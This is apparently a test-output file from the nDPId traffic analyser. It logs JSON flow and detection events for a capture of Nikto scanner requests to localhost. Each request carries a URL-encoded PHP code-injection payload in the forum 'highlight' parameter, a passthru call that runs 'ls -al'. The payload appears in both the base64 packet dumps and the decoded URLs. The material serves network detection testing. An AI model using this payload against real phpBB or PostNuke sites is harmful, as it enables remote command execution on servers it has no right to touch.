+00854{"flow_id":689,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":689,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":807234,"pkt_caplen":378,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":378,"pkt_l4_len":344,"pkt":"AAAAAAAAAAAAAAAACABFAAFsAqdAAEAGOON\/AAABfwAAAcb8H5ASjTuPR79V4YAYAED\/YAAAAQEICp1m\/1edZv9XR0VUIC9mb3J1bS9pbmRleC5waHA\/bmFtZT1Gb3J1bXMmZmlsZT12aWV3dG9waWMmdD0yJnJ1c2g9JTZjJTczJTIwJTJkJTYxJTZjJmhpZ2hsaWdodD0lMjUyNy4lNzAlNjElNzMlNzMlNzQlNjglNzIlNzUlMjglMjQlNDglNTQlNTQlNTAlNWYlNDclNDUlNTQlNWYlNTYlNDElNTIlNTMlNWIlNzIlNzUlNzMlNjglNWQlMjkuJTI1MjcgSFRUUC8xLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDEzOTcpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpIb3N0OiAxMjcuMC4wLjENCg0K"} +00933{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":689,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":689,"flow_packet_id":1,"flow_first_seen":1576420277807,"flow_last_seen":0,"flow_tot_l4_data_len":344,"flow_min_l4_data_len":344,"flow_max_l4_data_len":344,"flow_avg_l4_data_len":344,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50940,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/forum\/index.php?name=Forums&file=viewtopic&t=2&rush=%6c%73%20%2d%61%6c&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%72%75%73%68%5d%29.%2527","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001397)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":690,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":690,"flow_packet_id":1,"flow_first_seen":1576420277808,"flow_last_seen":0,"flow_tot_l4_data_len":339,"flow_min_l4_data_len":339,"flow_max_l4_data_len":339,"flow_avg_l4_data_len":339,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50942,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00851{"flow_id":690,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":690,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":808884,"pkt_caplen":373,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":373,"pkt_l4_len":339,"pkt":"AAAAAAAAAAAAAAAACABFAAFnxERAAEAGd0p\/AAABfwAAAcb+H5AIB\/1vYBeRA4AYAED\/WwAAAQEICp1m\/1idZv9YR0VUIC9pbmRleC5waHA\/TmlrdG89Rm9ydW1zJmZpbGU9dmlld3RvcGljJnQ9MiZydXNoPSU2YyU3MyUyMCUyZCU2MSU2YyZoaWdobGlnaHQ9JTI1MjcuJTcwJTYxJTczJTczJTc0JTY4JTcyJTc1JTI4JTI0JTQ4JTU0JTU0JTUwJTVmJTQ3JTQ1JTU0JTVmJTU2JTQxJTUyJTUzJTViJTcyJTc1JTczJTY4JTVkJTI5LiUyNTI3IEhUVFAvMS4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDAxMzk3KQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00927{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":690,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":690,"flow_packet_id":1,"flow_first_seen":1576420277808,"flow_last_seen":0,"flow_tot_l4_data_len":339,"flow_min_l4_data_len":339,"flow_max_l4_data_len":339,"flow_avg_l4_data_len":339,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50942,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/index.php?Nikto=Forums&file=viewtopic&t=2&rush=%6c%73%20%2d%61%6c&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%72%75%73%68%5d%29.%2527","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001397)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":691,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":691,"flow_packet_id":1,"flow_first_seen":1576420277810,"flow_last_seen":0,"flow_tot_l4_data_len":348,"flow_min_l4_data_len":348,"flow_max_l4_data_len":348,"flow_avg_l4_data_len":348,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50944,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00863{"flow_id":691,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":691,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":810071,"pkt_caplen":382,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":382,"pkt_l4_len":348,"pkt":"AAAAAAAAAAAAAAAACABFAAFwFdRAAEAGJbJ\/AAABfwAAAccAH5A7eCz\/38X+m4AYAED\/ZAAAAQEICp1m\/1mdZv9ZR0VUIC9wb3N0bnVrZS9pbmRleC5waHA\/TmlrdG89Rm9ydW1zJmZpbGU9dmlld3RvcGljJnQ9MiZydXNoPSU2YyU3MyUyMCUyZCU2MSU2YyZoaWdobGlnaHQ9JTI1MjcuJTcwJTYxJTczJTczJTc0JTY4JTcyJTc1JTI4JTI0JTQ4JTU0JTU0JTUwJTVmJTQ3JTQ1JTU0JTVmJTU2JTQxJTUyJTUzJTViJTcyJTc1JTczJTY4JTVkJTI5LiUyNTI3IEhUVFAvMS4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDAxMzk3KQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00937{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":691,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":691,"flow_packet_id":1,"flow_first_seen":1576420277810,"flow_last_seen":0,"flow_tot_l4_data_len":348,"flow_min_l4_data_len":348,"flow_max_l4_data_len":348,"flow_avg_l4_data_len":348,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50944,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/postnuke\/index.php?Nikto=Forums&file=viewtopic&t=2&rush=%6c%73%20%2d%61%6c&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%72%75%73%68%5d%29.%2527","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001397)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":692,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":692,"flow_packet_id":1,"flow_first_seen":1576420277811,"flow_last_seen":0,"flow_tot_l4_data_len":353,"flow_min_l4_data_len":353,"flow_max_l4_data_len":353,"flow_avg_l4_data_len":353,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50946,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00866{"flow_id":692,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":692,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":811290,"pkt_caplen":387,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":387,"pkt_l4_len":353,"pkt":"AAAAAAAAAAAAAAAACABFAAF1vbdAAEAGfcl\/AAABfwAAAccCH5DikYSaCicX\/4AYAED\/aQAAAQEICp1m\/1udZv9bR0VUIC9wb3N0bnVrZS9odG1sL2luZGV4LnBocD9OaWt0bz1Gb3J1bXMmZmlsZT12aWV3dG9waWMmdD0yJnJ1c2g9JTZjJTczJTIwJTJkJTYxJTZjJmhpZ2hsaWdodD0lMjUyNy4lNzAlNjElNzMlNzMlNzQlNjglNzIlNzUlMjglMjQlNDglNTQlNTQlNTAlNWYlNDclNDUlNTQlNWYlNTYlNDElNTIlNTMlNWIlNzIlNzUlNzMlNjglNWQlMjkuJTI1MjcgSFRUUC8xLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDEzOTcpDQpIb3N0OiAxMjcuMC4wLjENCg0K"} +00943{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":692,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":692,"flow_packet_id":1,"flow_first_seen":1576420277811,"flow_last_seen":0,"flow_tot_l4_data_len":353,"flow_min_l4_data_len":353,"flow_max_l4_data_len":353,"flow_avg_l4_data_len":353,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50946,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/postnuke\/html\/index.php?Nikto=Forums&file=viewtopic&t=2&rush=%6c%73%20%2d%61%6c&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%72%75%73%68%5d%29.%2527","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001397)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":693,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":693,"flow_packet_id":1,"flow_first_seen":1576420277812,"flow_last_seen":0,"flow_tot_l4_data_len":347,"flow_min_l4_data_len":347,"flow_max_l4_data_len":347,"flow_avg_l4_data_len":347,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50948,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00857{"flow_id":693,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":693,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":812527,"pkt_caplen":381,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":381,"pkt_l4_len":347,"pkt":"AAAAAAAAAAAAAAAACABFAAFvwN5AAEAGeqh\/AAABfwAAAccEH5A7SvnykFHzA4AYAED\/YwAAAQEICp1m\/1ydZv9cR0VUIC9tb2R1bGVzL2luZGV4LnBocD9OaWt0bz1Gb3J1bXMmZmlsZT12aWV3dG9waWMmdD0yJnJ1c2g9JTZjJTczJTIwJTJkJTYxJTZjJmhpZ2hsaWdodD0lMjUyNy4lNzAlNjElNzMlNzMlNzQlNjglNzIlNzUlMjglMjQlNDglNTQlNTQlNTAlNWYlNDclNDUlNTQlNWYlNTYlNDElNTIlNTMlNWIlNzIlNzUlNzMlNjglNWQlMjkuJTI1MjcgSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OjAwMTM5NykNCg0K"} +00936{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":693,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":693,"flow_packet_id":1,"flow_first_seen":1576420277812,"flow_last_seen":0,"flow_tot_l4_data_len":347,"flow_min_l4_data_len":347,"flow_max_l4_data_len":347,"flow_avg_l4_data_len":347,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50948,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/modules\/index.php?Nikto=Forums&file=viewtopic&t=2&rush=%6c%73%20%2d%61%6c&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%72%75%73%68%5d%29.%2527","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001397)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":694,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":694,"flow_packet_id":1,"flow_first_seen":1576420277813,"flow_last_seen":0,"flow_tot_l4_data_len":345,"flow_min_l4_data_len":345,"flow_max_l4_data_len":345,"flow_avg_l4_data_len":345,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50950,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00858{"flow_id":694,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":694,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":813772,"pkt_caplen":379,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":379,"pkt_l4_len":345,"pkt":"AAAAAAAAAAAAAAAACABFAAFt2OpAAEAGYp5\/AAABfwAAAccGH5BS6uHGYiCIs4AYAED\/YQAAAQEICp1m\/12dZv9dR0VUIC9waHBCQi9pbmRleC5waHA\/TmlrdG89Rm9ydW1zJmZpbGU9dmlld3RvcGljJnQ9MiZydXNoPSU2YyU3MyUyMCUyZCU2MSU2YyZoaWdobGlnaHQ9JTI1MjcuJTcwJTYxJTczJTczJTc0JTY4JTcyJTc1JTI4JTI0JTQ4JTU0JTU0JTUwJTVmJTQ3JTQ1JTU0JTVmJTU2JTQxJTUyJTUzJTViJTcyJTc1JTczJTY4JTVkJTI5LiUyNTI3IEhUVFAvMS4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDAxMzk3KQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00934{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":694,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":694,"flow_packet_id":1,"flow_first_seen":1576420277813,"flow_last_seen":0,"flow_tot_l4_data_len":345,"flow_min_l4_data_len":345,"flow_max_l4_data_len":345,"flow_avg_l4_data_len":345,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50950,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/phpBB\/index.php?Nikto=Forums&file=viewtopic&t=2&rush=%6c%73%20%2d%61%6c&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%72%75%73%68%5d%29.%2527","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001397)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":695,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":695,"flow_packet_id":1,"flow_first_seen":1576420277814,"flow_last_seen":0,"flow_tot_l4_data_len":345,"flow_min_l4_data_len":345,"flow_max_l4_data_len":345,"flow_avg_l4_data_len":345,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50952,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00858{"flow_id":695,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":695,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":814973,"pkt_caplen":379,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":379,"pkt_l4_len":345,"pkt":"AAAAAAAAAAAAAAAACABFAAFt1fZAAEAGZZJ\/AAABfwAAAccIH5Bl1OzaDJYmQ4AYAED\/YQAAAQEICp1m\/16dZv9eR0VUIC9mb3J1bS9pbmRleC5waHA\/TmlrdG89Rm9ydW1zJmZpbGU9dmlld3RvcGljJnQ9MiZydXNoPSU2YyU3MyUyMCUyZCU2MSU2YyZoaWdobGlnaHQ9JTI1MjcuJTcwJTYxJTczJTczJTc0JTY4JTcyJTc1JTI4JTI0JTQ4JTU0JTU0JTUwJTVmJTQ3JTQ1JTU0JTVmJTU2JTQxJTUyJTUzJTViJTcyJTc1JTczJTY4JTVkJTI5LiUyNTI3IEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDEzOTcpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQoNCg=="} +00934{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":695,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":695,"flow_packet_id":1,"flow_first_seen":1576420277814,"flow_last_seen":0,"flow_tot_l4_data_len":345,"flow_min_l4_data_len":345,"flow_max_l4_data_len":345,"flow_avg_l4_data_len":345,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50952,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/forum\/index.php?Nikto=Forums&file=viewtopic&t=2&rush=%6c%73%20%2d%61%6c&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%72%75%73%68%5d%29.%2527","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001397)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":696,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":696,"flow_packet_id":1,"flow_first_seen":1576420277816,"flow_last_seen":0,"flow_tot_l4_data_len":338,"flow_min_l4_data_len":338,"flow_max_l4_data_len":338,"flow_avg_l4_data_len":338,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50954,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00846{"flow_id":696,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":696,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":816514,"pkt_caplen":372,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":372,"pkt_l4_len":338,"pkt":"AAAAAAAAAAAAAAAACABFAAFmyD5AAEAGc1F\/AAABfwAAAccKH5CvpPET10Ucz4AYAED\/WgAAAQEICp1m\/2CdZv9gR0VUIC9pbmRleC5waHA\/bmFtZT1mb3J1bXMmZmlsZT12aWV3dG9waWMmdD0yJnJ1c2g9JTZjJTczJTIwJTJkJTYxJTZjJmhpZ2hsaWdodD0lMjUyNy4lNzAlNjElNzMlNzMlNzQlNjglNzIlNzUlMjglMjQlNDglNTQlNTQlNTAlNWYlNDclNDUlNTQlNWYlNTYlNDElNTIlNTMlNWIlNzIlNzUlNzMlNjglNWQlMjkuJTI1MjcgSFRUUC8xLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDEzOTgpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpIb3N0OiAxMjcuMC4wLjENCg0K"} +00926{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":696,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":696,"flow_packet_id":1,"flow_first_seen":1576420277816,"flow_last_seen":0,"flow_tot_l4_data_len":338,"flow_min_l4_data_len":338,"flow_max_l4_data_len":338,"flow_avg_l4_data_len":338,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50954,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/index.php?name=forums&file=viewtopic&t=2&rush=%6c%73%20%2d%61%6c&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%72%75%73%68%5d%29.%2527","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001398)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":697,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":697,"flow_packet_id":1,"flow_first_seen":1576420277817,"flow_last_seen":0,"flow_tot_l4_data_len":347,"flow_min_l4_data_len":347,"flow_max_l4_data_len":347,"flow_avg_l4_data_len":347,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50956,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00858{"flow_id":697,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":697,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":817808,"pkt_caplen":381,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":381,"pkt_l4_len":347,"pkt":"AAAAAAAAAAAAAAAACABFAAFvTQNAAEAG7oN\/AAABfwAAAccMH5C7inQwMMPyYoAYAED\/YwAAAQEICp1m\/2GdZv9hR0VUIC9wb3N0bnVrZS9pbmRleC5waHA\/bmFtZT1mb3J1bXMmZmlsZT12aWV3dG9waWMmdD0yJnJ1c2g9JTZjJTczJTIwJTJkJTYxJTZjJmhpZ2hsaWdodD0lMjUyNy4lNzAlNjElNzMlNzMlNzQlNjglNzIlNzUlMjglMjQlNDglNTQlNTQlNTAlNWYlNDclNDUlNTQlNWYlNTYlNDElNTIlNTMlNWIlNzIlNzUlNzMlNjglNWQlMjkuJTI1MjcgSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OjAwMTM5OCkNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCg0K"} +00936{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":697,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":697,"flow_packet_id":1,"flow_first_seen":1576420277817,"flow_last_seen":0,"flow_tot_l4_data_len":347,"flow_min_l4_data_len":347,"flow_max_l4_data_len":347,"flow_avg_l4_data_len":347,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50956,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/postnuke\/index.php?name=forums&file=viewtopic&t=2&rush=%6c%73%20%2d%61%6c&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%72%75%73%68%5d%29.%2527","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001398)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":698,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":698,"flow_packet_id":1,"flow_first_seen":1576420277819,"flow_last_seen":0,"flow_tot_l4_data_len":352,"flow_min_l4_data_len":352,"flow_max_l4_data_len":352,"flow_avg_l4_data_len":352,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50958,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00865{"flow_id":698,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":698,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":819020,"pkt_caplen":386,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":386,"pkt_l4_len":352,"pkt":"AAAAAAAAAAAAAAAACABFAAF0lOFAAEAGpqB\/AAABfwAAAccOH5D5PK3yk85ZF4AYAED\/aAAAAQEICp1m\/2KdZv9iR0VUIC9wb3N0bnVrZS9odG1sL2luZGV4LnBocD9uYW1lPWZvcnVtcyZmaWxlPXZpZXd0b3BpYyZ0PTImcnVzaD0lNmMlNzMlMjAlMmQlNjElNmMmaGlnaGxpZ2h0PSUyNTI3LiU3MCU2MSU3MyU3MyU3NCU2OCU3MiU3NSUyOCUyNCU0OCU1NCU1NCU1MCU1ZiU0NyU0NSU1NCU1ZiU1NiU0MSU1MiU1MyU1YiU3MiU3NSU3MyU2OCU1ZCUyOS4lMjUyNyBIVFRQLzEuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OjAwMTM5OCkNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00942{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":698,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":698,"flow_packet_id":1,"flow_first_seen":1576420277819,"flow_last_seen":0,"flow_tot_l4_data_len":352,"flow_min_l4_data_len":352,"flow_max_l4_data_len":352,"flow_avg_l4_data_len":352,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50958,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/postnuke\/html\/index.php?name=forums&file=viewtopic&t=2&rush=%6c%73%20%2d%61%6c&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%72%75%73%68%5d%29.%2527","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001398)"}} 